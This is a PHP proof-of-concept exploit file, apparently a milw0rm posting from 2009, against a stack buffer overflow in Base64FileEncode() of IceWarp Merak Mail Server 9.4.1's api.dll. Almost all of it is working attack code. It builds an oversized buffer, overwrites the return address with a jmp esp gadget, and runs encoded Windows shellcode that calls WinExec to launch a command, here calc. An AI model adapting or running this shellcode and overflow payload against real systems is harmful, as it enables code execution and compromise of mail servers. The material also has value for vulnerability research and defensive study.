477bcbdcc0
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53 lines
1.7 KiB
PHP
Executable file
53 lines
1.7 KiB
PHP
Executable file
<?php
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/* Icewarp Merak Mail Server 9.4.1 IceWarpServer.APIObject/api.dll
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Base64FileEncode() stack based buffer overflow poc
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by Nine:Situations:Group::surfista
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site: http://retrogod.altervista.org/
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api.dll contains a stack based buffer overflow in the second argument of
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Base64FileEncode() method, this shared library can be loaded ex. by the
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IceWarp PHP extension which is carried by the Webmail service. You have
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interesting results if the final argument of the icewarp_apiobjectcall()
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function is exposed to remote user input, which is possible by design, with
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the vulnerable method specified.
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We are searching a remote vector for this!
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*/
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if (php_sapi_name() <> "cgi-fcgi") {
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die("Launch from the merak php console!");
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}
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if (!function_exists("icewarp_apiobjectcall")) {
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die("You need the icewarp extension loaded!");
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}
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$shellcode= //original scode, alpha2 esp <sh.txt
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"\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53".
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"\xbb\x0d\x25\x86\x7c". //WinExec, kernel32.dll XP SP3
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"\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff".
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"cmd /c start calc && ".
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"\xff";
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$shellcode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP".
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"8ABuJIJK5CCktqO0rpP1kpOxcsczF3OKdMUumVQlkON3P1".
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"YPkXhhyokOyo1sPmST10FOqs7PSCrT1q3BrT5pRCaqPlRC".
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"wPQ6EvgPKOksA";
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$eip="\x2c\x47\x4b\x01"; //jmp esp - icewarpphp.dll
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$bof=str_repeat("A",0x258).
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"BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN".
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$eip.
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$shellcode;
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$_x = icewarp_apiobjectcall(0, '', 'IceWarpServer.APIObject');
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$source="AAAA";
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$destination=$bof;
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icewarp_apiobjectcall( $_x, "Base64FileEncode", $source , $destination );
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?>
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# milw0rm.com [2009-04-27]
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